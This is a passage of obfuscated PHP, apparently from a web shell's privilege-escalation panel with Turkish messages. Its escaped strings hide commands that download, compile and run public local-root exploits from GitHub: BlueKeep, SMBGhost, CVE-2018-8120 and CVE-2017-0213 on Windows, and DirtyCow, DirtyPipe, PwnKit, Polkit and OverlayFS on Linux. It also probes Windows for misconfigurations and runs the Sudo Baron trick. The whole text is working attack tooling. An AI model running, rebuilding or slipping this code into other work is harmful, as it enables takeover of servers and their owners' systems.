"\x3d\75\x3d\x20\360\237\x92\240\40\102\x4c\x55\105\x4b\105\x45\120\x20\50\x43\x56\105\x2d\x32\x30\x31\71\55\60\x37\60\x38\51\x20\x3d\75\x3d\12\12"; if (!isWindows()) { $output .= "\xe2\232\240\x20\x42\165\40\x65\170\x70\154\x6f\151\x74\x20\x73\141\x64\145\143\x65\x20\x57\x69\156\144\x6f\167\163\x27\164\141\40\303\247\x61\154\304\261\305\237\xc4\261\x72\x21\12"; break; } $result = runExploitVip("\x70\157\167\x65\162\x73\x68\145\x6c\x6c\40\x2d\103\157\155\x6d\x61\x6e\144\x20\x22\164\162\171\40\173\40\111\x6e\166\157\153\145\55\x57\x65\x62\x52\145\161\x75\145\163\164\x20\55\x55\x72\151\40\47\150\x74\x74\x70\x73\x3a\57\57\x72\x61\x77\x2e\x67\151\164\x68\165\x62\165\163\145\x72\143\157\x6e\164\145\x6e\x74\56\x63\x6f\x6d\57\60\x78\145\x62\x2d\x62\x70\57\x63\x76\145\x2d\62\x30\61\71\x2d\60\x37\x30\x38\x2f\x6d\141\163\x74\145\162\x2f\143\x76\x65\55\x32\x30\61\x39\x2d\x30\x37\x30\x38\x2e\160\x79\47\40\x2d\117\x75\164\x46\x69\x6c\145\x20\x43\72\x5c\x62\x6c\165\145\153\145\x65\x70\x2e\x70\x79\40\55\x45\162\x72\157\x72\x41\143\x74\x69\x6f\156\40\x53\164\157\160\x3b\x20\x70\x79\164\x68\157\x6e\x20\x43\x3a\134\x62\x6c\x75\x65\153\x65\145\x70\56\160\171\40\x7d\40\x63\141\164\x63\150\40\173\x20\x65\x63\x68\x6f\40\x27\x42\x6c\x75\145\x4b\x65\145\x70\x20\x79\303\xbc\153\x6c\145\156\x65\x6d\x65\x64\151\x27\40\175\x22", "\102\x6c\x75\145\113\x65\145\x70"); $output .= $result["\x72\x65\x73\165\x6c\164"] . "\xa"; break; case "\x65\170\160\x6c\157\x69\164\137\163\155\142\x67\150\x6f\x73\164": $output .= "\75\75\x3d\x20\360\237\x91\273\40\x53\x4d\102\x47\110\117\x53\124\40\x28\103\x56\x45\55\62\60\x32\60\55\x30\67\71\66\x29\x20\75\75\75\xa\12"; if (!isWindows()) { $output .= "\xe2\x9a\240\40\102\x75\x20\x65\170\160\154\x6f\151\164\40\163\141\x64\145\143\145\x20\x57\151\x6e\144\157\x77\163\x27\164\x61\x20\xc3\247\141\154\xc4\261\xc5\237\xc4\xb1\x72\x21\xa"; break; } $result = runExploitVip("\160\x6f\167\x65\x72\163\x68\x65\154\x6c\40\55\x43\x6f\155\x6d\x61\156\144\40\42\164\x72\x79\x20\173\x20\x49\156\166\x6f\153\x65\x2d\127\x65\x62\x52\145\161\x75\x65\x73\164\40\x2d\x55\x72\151\x20\47\x68\164\x74\160\x73\x3a\x2f\x2f\162\x61\x77\x2e\147\151\x74\150\x75\142\165\x73\145\162\143\x6f\x6e\164\x65\156\x74\56\143\157\155\57\x6f\x6c\154\171\160\x77\156\57\x53\x4d\x42\107\x68\x6f\x73\x74\57\155\141\163\164\x65\162\57\123\115\x42\107\x68\157\x73\164\137\122\103\105\x5f\x50\x6f\103\x2e\160\171\x27\40\x2d\x4f\165\x74\106\x69\x6c\145\40\x43\x3a\134\163\x6d\142\147\x68\x6f\163\164\x2e\160\x79\x20\x2d\x45\x72\x72\x6f\162\101\143\164\151\x6f\x6e\40\123\x74\157\160\x3b\40\x70\171\x74\150\x6f\x6e\40\x43\x3a\x5c\163\155\142\x67\150\157\163\164\56\160\171\x20\175\40\x63\x61\x74\143\x68\x20\173\40\145\x63\150\157\x20\x27\x53\115\x42\107\x68\x6f\x73\x74\x20\x79\303\274\153\x6c\x65\x6e\x65\x6d\145\144\x69\x27\40\x7d\42", "\123\115\102\107\150\157\x73\164"); $output .= $result["\x72\145\163\165\154\164"] . "\12"; break; case "\x65\170\160\x6c\x6f\151\x74\x5f\x63\x76\x65\x32\60\61\70\x5f\x38\61\x32\60": $output .= "\75\75\75\x20\xf0\237\x94\x93\40\x43\126\x45\x2d\62\x30\x31\70\x2d\70\61\x32\60\40\x3d\75\75\12\12"; if (!isWindows()) { $output .= "\342\232\240\40\x42\165\40\x65\x78\x70\x6c\157\151\x74\40\x73\x61\x64\x65\x63\x65\40\127\151\x6e\144\157\167\163\x27\164\x61\x20\303\247\x61\154\xc4\xb1\xc5\237\304\261\x72\41\xa"; break; } $result = runExploitVip("\x70\157\x77\x65\162\163\150\x65\154\154\40\55\103\157\x6d\x6d\141\156\x64\x20\42\164\x72\x79\x20\x7b\40\111\x6e\x76\157\153\x65\55\x57\x65\142\x52\x65\161\x75\x65\163\x74\x20\55\125\x72\x69\40\x27\150\x74\x74\x70\163\72\57\x2f\162\x61\x77\x2e\x67\x69\x74\x68\165\x62\x75\x73\145\x72\x63\x6f\x6e\164\x65\x6e\164\56\x63\x6f\155\57\x75\156\141\155\x65\x72\57\x43\126\105\55\62\60\61\70\x2d\70\61\x32\x30\x2f\155\x61\x73\x74\145\162\57\120\x53\x2d\x45\170\x70\154\x6f\x69\x74\56\x70\x73\61\47\x20\55\x4f\x75\x74\x46\x69\x6c\145\40\x43\72\x5c\143\166\145\55\x32\x30\x31\70\55\x38\x31\62\x30\56\x70\163\x31\40\x2d\x45\x72\162\157\162\x41\x63\x74\151\157\x6e\40\x53\x74\157\x70\x3b\40\x70\157\x77\x65\x72\163\x68\145\154\154\40\55\145\x78\145\143\40\x62\x79\160\141\163\163\x20\55\x46\x69\x6c\145\x20\103\72\x5c\143\166\x65\55\62\60\x31\70\55\x38\x31\62\x30\56\x70\x73\61\40\x7d\x20\143\141\x74\x63\x68\40\173\x20\145\x63\x68\x6f\x20\47\x43\126\105\x2d\62\x30\x31\x38\55\x38\61\62\x30\x20\x79\xc3\xbc\153\x6c\145\156\x65\x6d\145\x64\151\x27\x20\175\42", "\103\x56\105\x2d\x32\x30\61\70\55\70\61\62\x30"); $output .= $result["\x72\x65\x73\x75\x6c\x74"] . "\12"; break; case "\x65\x78\x70\154\x6f\x69\164\x5f\x63\166\145\62\x30\61\67\x5f\x30\x32\x31\63": $output .= "\x3d\75\75\x20\360\237\x94\223\40\103\126\x45\55\62\60\61\67\55\x30\62\x31\x33\40\x3d\x3d\75\xa\xa"; if (!isWindows()) { $output .= "\xe2\232\240\x20\102\x75\x20\145\x78\160\x6c\x6f\151\164\x20\x73\141\x64\145\143\x65\40\127\151\x6e\144\157\x77\x73\47\164\141\x20\303\xa7\141\x6c\xc4\xb1\xc5\237\304\261\162\41\12"; break; } $result = runExploitVip("\160\157\167\x65\x72\x73\150\x65\154\x6c\x20\55\x43\157\155\x6d\x61\x6e\x64\40\42\164\x72\x79\x20\x7b\x20\111\x6e\x76\157\153\145\55\127\x65\x62\122\x65\161\x75\145\x73\x74\40\x2d\125\162\x69\x20\47\x68\164\x74\x70\x73\x3a\x2f\x2f\162\x61\x77\x2e\147\151\x74\150\165\142\165\x73\145\x72\x63\x6f\156\164\145\156\164\x2e\x63\x6f\x6d\x2f\x68\x66\151\162\145\146\60\x78\x2f\x43\126\105\x2d\x32\60\x31\67\55\60\62\x31\x33\x2f\x6d\x61\x73\x74\145\162\57\145\x78\x70\154\157\x69\x74\56\143\x27\x20\x2d\x4f\x75\x74\106\151\154\145\x20\x43\x3a\x5c\x63\x76\145\x2d\x32\x30\61\x37\x2d\60\62\x31\x33\x2e\143\40\55\105\162\x72\157\x72\x41\x63\x74\x69\x6f\156\x20\123\x74\157\160\73\x20\x65\x63\x68\x6f\x20\47\103\x56\105\55\62\60\61\x37\55\60\62\61\63\40\151\x6e\144\151\x72\x69\x6c\x64\151\x27\x20\x7d\40\x63\141\x74\143\150\x20\x7b\x20\x65\143\150\x6f\x20\47\x43\126\x45\x2d\62\x30\x31\x37\55\60\x32\61\63\40\x79\xc3\xbc\153\154\x65\x6e\x65\x6d\x65\144\x69\47\x20\175\x22", "\103\x56\105\x2d\x32\60\x31\x37\55\60\x32\61\x33"); $output .= $result["\162\145\163\165\154\164"] . "\12"; break; case "\145\x78\x70\154\157\151\x74\x5f\162\144\x70\137\x77\162\x61\x70\160\x65\162": $output .= "\75\x3d\x3d\x20\360\x9f\224\223\40\122\x44\x50\x20\127\122\101\x50\x50\x45\122\40\75\x3d\x3d\12\xa"; if (!isWindows()) { $output .= "\342\x9a\xa0\x20\102\x75\x20\145\x78\x70\x6c\157\x69\164\x20\163\x61\144\x65\x63\x65\x20\127\x69\x6e\144\157\x77\x73\47\x74\141\40\303\247\141\154\304\261\xc5\237\xc4\xb1\162\x21\xa"; break; } $result = runExploitVip("\160\x6f\x77\x65\x72\163\x68\145\154\154\x20\x2d\x43\157\x6d\x6d\141\x6e\x64\x20\x22\x74\162\x79\x20\173\40\111\x6e\166\x6f\153\145\x2d\127\x65\x62\122\145\x71\x75\145\163\164\40\x2d\125\x72\x69\x20\x27\x68\164\164\160\x73\72\57\57\x72\x61\x77\x2e\147\x69\164\x68\165\x62\x75\x73\145\x72\143\x6f\156\164\x65\156\164\56\143\157\x6d\x2f\163\x74\x61\x73\143\x6f\x72\160\x2f\x72\144\x70\167\x72\x61\160\x2f\x6d\x61\x73\164\145\162\x2f\151\156\x73\164\141\154\x6c\56\142\x61\164\47\40\55\117\165\x74\106\151\154\145\x20\x43\x3a\134\x72\144\x70\x77\162\x61\x70\56\x62\141\x74\40\55\x45\162\162\157\x72\101\143\164\151\157\156\40\123\x74\x6f\x70\x3b\40\145\x63\x68\157\x20\47\x52\x44\120\40\x57\x72\141\x70\160\x65\x72\x20\x69\x6e\144\x69\162\x69\154\x64\x69\47\x20\175\x20\x63\x61\x74\143\x68\40\173\40\145\x63\x68\157\x20\47\x52\x44\120\x20\127\162\x61\160\160\x65\x72\40\171\xc3\xbc\x6b\154\x65\156\145\x6d\145\x64\x69\47\40\x7d\x22", "\122\104\120\x20\x57\162\141\160\160\x65\162"); $output .= $result["\x72\145\x73\x75\x6c\164"] . "\xa"; break; case "\x65\170\160\x6c\157\151\164\x5f\141\x6c\x77\x61\171\x73\x5f\151\156\163\164\141\x6c\x6c\x5f\x65\x6c\x65\x76\x61\x74\145\x64": $output .= "\75\75\75\40\xf0\237\224\223\40\101\x4c\127\x41\x59\x53\40\x49\116\x53\x54\101\x4c\x4c\40\x45\x4c\x45\x56\x41\x54\x45\x44\x20\75\75\x3d\xa\xa"; if (!isWindows()) { $output .= "\342\x9a\240\40\102\x75\x20\145\170\160\154\x6f\x69\164\x20\x73\x61\x64\145\x63\x65\x20\127\151\x6e\144\x6f\167\x73\x27\x74\x61\x20\303\247\x61\154\xc4\261\xc5\237\304\xb1\x72\x21\xa"; break; } $result = runExploitVip("\x70\157\167\145\x72\163\150\x65\154\x6c\x20\55\x43\x6f\155\x6d\141\156\x64\x20\42\164\x72\x79\x20\x7b\x20\x47\x65\x74\x2d\111\164\145\x6d\x50\x72\157\x70\x65\162\x74\x79\40\110\113\114\115\x3a\134\123\x4f\x46\124\x57\x41\122\x45\134\120\x6f\154\x69\143\x69\145\163\134\x4d\x69\x63\162\x6f\163\157\x66\164\x5c\127\x69\x6e\x64\x6f\x77\x73\134\111\156\163\x74\x61\154\154\x65\162\x20\55\x45\x72\x72\x6f\x72\x41\143\164\x69\157\156\40\123\164\157\160\73\40\x65\143\x68\157\x20\47\101\x6c\x77\x61\x79\x73\111\x6e\x73\164\141\x6c\x6c\x45\154\x65\166\x61\x74\145\144\40\x61\153\164\151\x66\41\x27\x20\x7d\40\x63\x61\164\143\150\x20\173\x20\145\x63\150\x6f\40\47\x41\x6c\167\x61\x79\x73\x49\156\163\x74\141\154\154\x45\x6c\x65\166\x61\164\145\x64\40\x70\x61\x73\151\146\x27\x20\175\42", "\x41\x6c\167\x61\x79\x73\x20\111\156\163\x74\x61\x6c\x6c\x20\105\x6c\145\166\141\x74\x65\144"); $output .= $result["\x72\145\163\165\154\164"] . "\xa"; break; case "\x65\x78\160\154\157\151\x74\x5f\x75\156\161\165\157\x74\x65\x64\137\163\145\162\166\x69\x63\145": $output .= "\x3d\75\x3d\x20\360\x9f\x94\223\40\125\116\x51\125\117\x54\105\x44\40\x53\x45\x52\x56\111\103\105\x20\120\101\x54\110\40\x3d\x3d\x3d\12\xa"; if (!isWindows()) { $output .= "\342\x9a\xa0\40\x42\165\40\145\x78\x70\x6c\157\x69\164\40\x73\x61\x64\x65\143\145\x20\127\x69\x6e\x64\x6f\167\163\x27\164\x61\x20\303\247\x61\154\xc4\261\xc5\x9f\304\xb1\162\x21\xa"; break; } $result = runExploitVip("\160\x6f\167\x65\162\x73\x68\145\154\x6c\x20\55\x43\x6f\x6d\x6d\x61\x6e\144\40\x22\164\162\x79\x20\x7b\x20\x47\x65\x74\x2d\x43\151\155\111\x6e\163\x74\141\156\x63\x65\x20\x2d\x43\154\141\x73\163\116\141\155\145\40\127\151\156\x33\62\137\123\145\162\166\x69\x63\145\x20\x7c\40\x57\x68\145\162\x65\x2d\x4f\142\x6a\145\x63\164\40\x7b\x20\44\137\x2e\x50\141\164\x68\x4e\x61\155\145\40\x2d\154\151\x6b\145\x20\47\x2a\47\x20\55\x61\156\144\x20\44\x5f\x2e\120\x61\x74\x68\116\x61\x6d\x65\x20\55\x6e\x6f\x74\154\151\x6b\x65\40\x27\x22\52\x27\x20\x2d\141\156\144\x20\44\137\x2e\120\141\164\x68\x4e\x61\155\145\40\x2d\x6e\x6f\164\154\151\x6b\x65\40\47\x43\72\x5c\x57\x69\156\144\157\167\x73\x5c\x2a\47\x20\175\40\x7c\40\123\145\154\145\x63\164\55\x4f\142\x6a\145\x63\x74\40\x4e\141\155\x65\54\40\120\x61\x74\x68\x4e\x61\155\145\40\x2d\106\151\x72\x73\x74\40\65\40\175\40\143\141\164\x63\x68\40\173\x20\x65\143\150\157\40\47\x55\x6e\x71\165\157\x74\x65\x64\40\x73\145\162\x76\x69\x63\x65\x20\153\x6f\156\x74\162\x6f\x6c\xc3\xbc\x20\x79\x61\160\304\xb1\154\x61\155\x61\x64\304\xb1\47\x20\x7d\42", "\x55\156\x71\x75\157\164\145\x64\40\123\x65\162\x76\151\143\x65"); $output .= $result["\162\145\x73\165\154\164"] . "\xa"; break; case "\x65\x78\x70\154\x6f\x69\x74\137\x73\x65\162\x76\151\143\145\137\160\x65\162\x6d\151\x73\163\151\x6f\156\x73": $output .= "\75\x3d\x3d\40\360\x9f\224\223\x20\x53\x45\122\126\x49\103\x45\x20\120\105\x52\115\x49\x53\x53\111\x4f\116\123\40\75\x3d\x3d\12\xa"; if (!isWindows()) { $output .= "\xe2\232\xa0\x20\x42\x75\x20\x65\170\x70\154\157\151\164\x20\x73\141\x64\145\x63\x65\40\x57\x69\156\144\157\167\163\x27\164\x61\x20\303\247\141\x6c\304\261\305\x9f\304\xb1\162\41\xa"; break; } $result = runExploitVip("\160\x6f\167\145\162\x73\x68\145\x6c\x6c\x20\55\103\x6f\x6d\x6d\x61\156\144\x20\42\164\162\171\x20\173\x20\107\x65\x74\55\103\151\155\111\156\163\164\141\156\143\145\x20\55\103\154\141\x73\x73\116\x61\x6d\x65\40\x57\x69\x6e\63\62\137\123\145\162\x76\x69\x63\x65\40\x7c\x20\127\150\x65\162\x65\x2d\117\x62\152\145\x63\x74\x20\x7b\40\44\137\x2e\x53\x74\x61\162\164\x4e\141\x6d\x65\40\55\x65\x71\40\x27\114\x6f\143\x61\154\123\171\x73\x74\x65\155\47\40\175\40\174\40\x53\x65\154\145\x63\164\x2d\117\142\152\145\143\164\x20\116\x61\x6d\145\54\40\123\x74\141\x72\164\116\x61\155\x65\40\x2d\106\x69\x72\163\164\x20\x35\40\175\40\143\x61\164\x63\150\x20\173\x20\145\x63\x68\x6f\40\47\123\x65\x72\x76\x69\143\x65\x20\160\145\162\x6d\151\x73\163\x69\x6f\x6e\40\x6b\157\156\x74\x72\157\154\303\xbc\40\x79\x61\x70\304\261\154\141\x6d\141\144\304\xb1\47\x20\x7d\42", "\x53\145\x72\166\151\x63\145\x20\120\x65\162\x6d\x69\x73\163\151\x6f\x6e\163"); $output .= $result["\x72\x65\x73\x75\x6c\x74"] . "\12"; break; case "\x65\x78\x70\x6c\x6f\x69\164\x5f\x72\x65\147\151\x73\164\162\x79\137\x70\145\162\x6d\x69\x73\163\x69\157\x6e\163": $output .= "\x3d\x3d\75\x20\xf0\x9f\224\223\x20\122\105\x47\111\x53\124\x52\x59\x20\x50\105\x52\115\111\123\x53\x49\x4f\x4e\123\x20\75\75\75\xa\xa"; if (!isWindows()) { $output .= "\xe2\232\xa0\x20\102\x75\40\x65\x78\x70\154\x6f\151\x74\x20\163\141\144\x65\x63\x65\x20\x57\151\156\x64\x6f\167\x73\x27\x74\141\x20\303\xa7\x61\154\304\xb1\305\x9f\xc4\xb1\162\41\12"; break; } $result = runExploitVip("\160\157\x77\x65\162\163\150\x65\x6c\x6c\x20\x2d\x43\157\x6d\155\141\156\x64\x20\x22\164\x72\171\x20\x7b\40\x47\x65\164\55\103\150\x69\154\144\111\164\145\155\40\55\120\x61\x74\150\40\x48\113\114\x4d\72\x5c\x53\117\106\124\127\x41\x52\105\40\55\105\162\162\x6f\x72\101\x63\164\x69\157\x6e\x20\123\x74\x6f\x70\x20\x7c\x20\x53\145\x6c\145\143\164\55\x4f\142\x6a\145\x63\164\40\x4e\141\155\145\x20\x2d\106\151\x72\x73\x74\40\x35\40\175\40\143\x61\x74\x63\x68\x20\173\x20\145\x63\x68\x6f\x20\x27\122\145\147\151\x73\164\162\x79\x20\x70\145\162\x6d\151\163\163\x69\x6f\156\40\153\157\156\x74\162\x6f\154\xc3\xbc\x20\171\141\x70\304\xb1\x6c\x61\x6d\141\x64\xc4\xb1\x27\40\175\42", "\x52\x65\x67\151\x73\164\x72\x79\x20\x50\x65\162\x6d\151\x73\x73\151\x6f\156\x73"); $output .= $result["\x72\x65\x73\x75\154\x74"] . "\xa"; break; case "\x65\x78\160\x6c\x6f\x69\x74\x5f\x64\x69\x72\164\x79\143\x6f\x77": $output .= "\75\75\x3d\x20\360\237\220\204\40\104\111\122\124\x59\40\103\117\x57\x20\x28\103\x56\105\55\62\x30\x31\66\55\x35\x31\71\x35\x29\40\75\x3d\75\12\xa"; if (isWindows()) { $output .= "\342\232\240\40\102\x75\40\145\170\160\x6c\x6f\151\x74\40\163\141\144\x65\x63\x65\x20\114\x69\156\165\170\x27\164\141\40\303\xa7\141\154\xc4\xb1\xc5\237\304\261\162\x21\xa"; break; } $result = runExploitVip("\x77\147\145\x74\40\x2d\x71\x20\x2d\x2d\x74\x69\155\x65\x6f\x75\x74\x3d\x31\x30\40\x2d\x4f\40\x2f\164\x6d\160\57\x64\151\162\x74\x79\x63\157\167\x2e\143\40\150\x74\164\x70\x73\72\57\57\x72\141\167\56\147\151\x74\150\x75\142\165\x73\145\162\143\157\x6e\x74\145\x6e\164\56\143\x6f\155\x2f\x66\x69\x72\145\x66\x61\162\164\x2f\x64\151\162\x74\x79\x63\157\167\57\x6d\141\x73\x74\145\x72\x2f\x64\x69\162\x74\171\x2e\x63\40\x32\76\x2f\144\x65\166\x2f\x6e\165\154\154\40\46\x26\40\147\x63\x63\40\55\160\164\x68\x72\x65\141\x64\x20\x2f\164\x6d\160\x2f\144\x69\162\x74\171\143\x6f\x77\x2e\x63\40\55\157\x20\x2f\x74\155\160\57\144\151\x72\164\171\x63\157\x77\x20\x32\x3e\57\144\x65\166\x2f\156\x75\x6c\154\40\x26\46\40\x63\150\155\x6f\x64\x20\53\170\40\57\164\155\x70\57\144\x69\162\164\x79\x63\157\x77\x20\x32\x3e\x2f\x64\145\x76\x2f\156\x75\154\x6c\x20\46\x26\40\x2f\x74\155\x70\57\x64\151\x72\x74\171\143\157\167\40\x32\x3e\46\61\x20\174\x7c\40\x65\x63\x68\157\40\42\x44\x69\162\164\x79\40\103\x6f\167\x20\171\303\274\153\x6c\145\156\x65\x6d\145\x64\151\42", "\x44\151\162\164\171\40\103\x6f\167"); $output .= $result["\x72\145\x73\x75\x6c\x74"] . "\12"; break; case "\x65\170\x70\x6c\157\151\164\137\144\151\162\x74\171\x70\151\x70\145": $output .= "\x3d\75\75\40\xf0\x9f\224\xa7\40\104\x49\122\x54\131\40\x50\111\x50\105\x20\50\103\x56\105\x2d\x32\x30\x32\62\55\60\x38\64\67\51\x20\x3d\x3d\75\12\xa"; if (isWindows()) { $output .= "\342\x9a\240\40\x42\x75\x20\145\x78\160\154\x6f\x69\x74\40\163\141\144\x65\143\145\40\114\151\156\x75\x78\47\x74\x61\40\xc3\247\141\x6c\xc4\xb1\xc5\237\xc4\xb1\x72\x21\12"; break; } $result = runExploitVip("\x77\x67\145\x74\40\55\161\40\x2d\x2d\164\151\155\145\157\x75\164\x3d\61\60\x20\55\x4f\40\x2f\164\x6d\x70\57\x64\x69\x72\164\171\160\x69\x70\145\56\143\40\x68\x74\x74\x70\x73\x3a\x2f\x2f\162\x61\167\x2e\x67\151\164\150\165\x62\165\163\x65\162\x63\157\x6e\x74\x65\156\164\56\x63\157\155\x2f\x41\162\151\x6e\145\162\x72\157\156\x2f\x43\x56\x45\55\x32\60\x32\62\x2d\x30\70\x34\x37\x2d\104\x69\x72\x74\x79\120\x69\x70\145\x2d\105\170\160\154\x6f\x69\x74\x2f\155\x61\x69\156\57\x65\170\x70\x6c\157\x69\164\56\143\x20\x32\x3e\57\x64\x65\166\57\156\x75\x6c\x6c\40\x26\x26\40\147\143\x63\40\57\164\x6d\x70\x2f\144\151\x72\x74\171\x70\151\x70\x65\x2e\143\x20\x2d\x6f\x20\x2f\164\155\x70\57\144\x69\x72\164\171\160\x69\x70\145\x20\62\x3e\x2f\x64\145\166\57\x6e\x75\x6c\154\40\x26\46\x20\x63\150\x6d\157\144\40\x2b\x78\40\x2f\164\x6d\x70\x2f\144\151\x72\164\171\160\x69\x70\145\40\62\x3e\x2f\x64\x65\x76\57\156\x75\x6c\x6c\40\46\x26\40\x2f\164\155\160\x2f\x64\x69\162\164\171\160\151\160\x65\40\x32\x3e\46\61\x20\x7c\x7c\x20\x65\143\x68\157\40\42\x44\x69\162\164\x79\40\x50\x69\160\x65\x20\x79\xc3\274\x6b\x6c\145\x6e\x65\155\145\144\151\x22", "\104\x69\162\164\171\40\x50\x69\160\x65"); $output .= $result["\x72\145\x73\x75\154\x74"] . "\xa"; break; case "\145\x78\x70\x6c\157\151\164\x5f\160\x77\156\x6b\x69\x74": $output .= "\75\x3d\75\40\360\237\224\xab\40\x50\127\116\x4b\x49\x54\x20\x28\103\126\105\55\62\60\62\x31\x2d\64\x30\x33\64\x29\40\75\x3d\x3d\12\xa"; if (isWindows()) { $output .= "\342\x9a\xa0\x20\x42\165\x20\x65\170\160\154\157\151\164\x20\x73\x61\x64\145\143\x65\x20\114\x69\x6e\x75\170\x27\164\x61\40\303\247\x61\154\xc4\xb1\xc5\237\304\261\x72\x21\12"; break; } $result = runExploitVip("\167\x67\145\x74\40\x2d\x71\x20\55\x2d\164\151\x6d\x65\157\165\x74\75\x31\60\40\55\117\40\x2f\164\155\x70\x2f\160\167\x6e\x6b\151\164\56\x63\40\150\x74\164\x70\163\x3a\57\57\x72\141\x77\x2e\x67\x69\164\150\165\142\x75\x73\x65\162\143\157\156\164\145\x6e\x74\x2e\143\x6f\x6d\57\x62\x65\162\x64\x61\x76\57\103\126\105\55\62\60\62\x31\x2d\x34\x30\63\64\57\155\x61\x69\156\57\160\x77\156\x6b\151\x74\x2e\143\x20\62\x3e\57\144\145\166\57\x6e\x75\154\x6c\40\x26\46\40\147\143\x63\40\x2f\x74\155\160\57\160\167\x6e\x6b\151\x74\56\143\x20\55\157\x20\57\164\x6d\x70\57\x70\167\156\x6b\x69\164\40\62\76\57\x64\145\166\57\156\x75\154\x6c\40\46\46\40\x63\x68\155\x6f\x64\40\53\170\x20\x2f\164\x6d\x70\x2f\160\167\x6e\153\x69\164\40\62\x3e\57\144\145\x76\x2f\156\x75\154\x6c\40\x26\x26\x20\x2f\x74\x6d\x70\x2f\x70\x77\156\153\151\164\x20\62\76\46\61\40\174\x7c\x20\145\x63\150\x6f\x20\x22\120\167\x6e\x4b\x69\164\x20\171\303\xbc\x6b\x6c\x65\x6e\x65\155\145\x64\151\42", "\120\167\156\113\x69\164"); $output .= $result["\x72\145\x73\165\x6c\164"] . "\xa"; break; case "\x65\170\x70\154\x6f\151\x74\x5f\x70\157\x6c\153\x69\x74": $output .= "\75\75\75\x20\360\x9f\x8e\xaf\40\120\x4f\114\113\x49\124\40\x28\103\126\x45\x2d\x32\60\62\x31\55\x33\65\66\60\x29\x20\75\x3d\x3d\12\xa"; if (isWindows()) { $output .= "\xe2\232\240\40\x42\x75\x20\145\170\160\154\x6f\x69\164\x20\x73\x61\x64\x65\143\145\40\x4c\151\x6e\165\170\47\164\141\40\xc3\247\141\x6c\xc4\xb1\xc5\x9f\xc4\261\162\x21\xa"; break; } $result = runExploitVip("\167\x67\145\x74\x20\55\161\x20\55\55\164\x69\x6d\x65\157\x75\164\x3d\x31\x30\40\55\117\x20\57\164\x6d\160\x2f\160\x6f\154\x6b\151\164\56\163\150\40\x68\x74\x74\160\x73\x3a\x2f\x2f\162\x61\167\56\x67\151\164\150\x75\x62\x75\163\x65\162\143\157\156\x74\145\x6e\164\56\143\157\x6d\x2f\x73\x65\x63\x6e\151\x67\x6d\141\x2f\x43\126\x45\55\62\x30\x32\x31\55\x33\65\x36\60\55\x50\x6f\x6c\x6b\151\x74\x2d\x50\162\151\166\151\154\145\147\145\55\x45\163\143\x6c\141\x74\x69\x6f\x6e\x2f\x6d\141\x69\x6e\x2f\x43\126\x45\x2d\62\60\62\61\55\63\x35\66\x30\56\163\x68\x20\62\76\57\x64\x65\166\x2f\156\x75\154\x6c\40\46\46\x20\x63\x68\x6d\157\144\40\53\170\40\57\x74\x6d\160\x2f\x70\157\x6c\x6b\151\x74\56\163\x68\x20\x32\x3e\57\x64\x65\x76\x2f\x6e\165\154\x6c\x20\x26\x26\40\x2f\x74\155\160\57\x70\x6f\154\x6b\x69\x74\x2e\163\x68\40\62\76\x26\61\x20\174\174\40\x65\x63\x68\x6f\x20\42\120\x6f\x6c\153\151\164\40\x79\xc3\xbc\x6b\154\145\x6e\145\155\x65\x64\x69\x22", "\120\157\154\153\151\164"); $output .= $result["\x72\x65\163\165\154\x74"] . "\12"; break; case "\x65\170\160\154\x6f\151\x74\x5f\163\x75\x64\x6f\x62\141\162\x6f\156": $output .= "\x3d\x3d\x3d\40\360\x9f\221\x91\40\x53\x55\104\x4f\x20\102\101\x52\x4f\116\x20\x28\x43\126\x45\55\x32\60\x31\71\55\x31\x34\x32\70\67\x29\40\75\x3d\x3d\12\xa"; if (isWindows()) { $output .= "\xe2\232\240\40\102\x75\x20\x65\x78\160\154\x6f\x69\x74\x20\x73\x61\x64\x65\x63\145\x20\114\151\x6e\x75\170\47\x74\x61\40\303\xa7\x61\x6c\xc4\xb1\xc5\237\xc4\xb1\162\x21\12"; break; } $result = runExploitVip("\163\165\144\x6f\x20\55\165\43\x2d\x31\40\x2f\142\x69\x6e\x2f\x62\141\x73\x68\x20\x2d\x63\40\x22\167\150\157\x61\155\151\42\40\62\x3e\46\x31\40\x7c\x7c\x20\145\x63\150\157\x20\42\123\x75\x64\x6f\40\102\x61\x72\157\x6e\40\xc3\xa7\x61\154\304\261\xc5\237\x6d\141\x64\xc4\xb1\42", "\x53\165\144\157\x20\102\x61\x72\157\156"); $output .= $result["\162\145\163\165\154\164"] . "\12"; break; case "\145\170\160\154\157\x69\x74\x5f\157\166\x65\x72\154\141\x79\146\163": $output .= "\x3d\75\x3d\40\360\x9f\223\x81\x20\x4f\126\105\122\x4c\x41\131\106\x53\x20\x28\x43\126\105\x2d\62\x30\x31\65\55\61\x33\62\70\51\40\75\75\75\12\12"; if (isWindows()) { $output .= "\342\232\240\40\x42\x75\x20\x65\x78\160\x6c\x6f\x69\164\40\x73\141\144\145\143\145\x20\114\151\156\x75\170\47\x74\141\40\303\xa7\x61\x6c\xc4\xb1\305\237\304\xb1\162\x21\12"; break; } $result = runExploitVip("\x77\147\x65\x74\40\55\161\x20\x2d\x2d\164\151\155\145\157\165\x74\x3d\x31\x30\40\55\117\x20\x2f\x74\x6d\160\x2f\x6f\166\x65\x72\x6c\141\171\x66\163\56\x63\40\150\164\164\160\x73\72\x2f\57\x72\x61\167\x2e\147\x69\x74\x68\x75\142\x75\x73\145\162\143\x6f\x6e\164\145\156\x74\56\x63\x6f\x6d\57\164\x69\x6d\x77\x72\x2f\x43\x56\105\x2d\62\x30\61\x35\x2d\61\63\x32\70\x2f\155\x61\163\x74\x65\162\57\x6f\166\x65\x72\154\x61\171\146\x73\56\143\40\62\x3e\x2f\x64\145\x76\57\x6e\x75\154\x6c\x20\x26\46\x20\x67\x63\x63\x20\57\164\x6d\x70\x2f\157\166\x65\x72\154\x61\171\x66\x73\x2e\143\40\55\157\40\57\164\155\160\x2f\x6f\166\x65\162\154\141\x79\x66\163\x20\x32\x3e\57\144\145\x76\x2f\156\x75\154\x6c\40\x26\46\40\x63\x68\155\157\x64\40\53\x78\40\x2f\164\x6d\x70\57\157\166\x65\x72\x6c\x61\x79\x66\163\x20\62\76\x2f\x64\145\x76\x2f\x6e\165\154\x6c\x20\46\46\40\x2f\x74\155\x70\x2f\x6f\166\x65\x72\x6c\x61\x79\x66\163\x20\x32\x3e\x26\61\40\174\x7c\x20\x65\143\150\157\40\42\117\166\145\162\154\141\171\x46\123\40\171\xc3\274\153\x6c\145\156\x65\155\145\x64\x69\x22", "\x4f\x76\x65\162\x6c\141\171\x46\x53"); $output .= $result["\x72\x65\163\165\154\164"] . "\12"; break; case 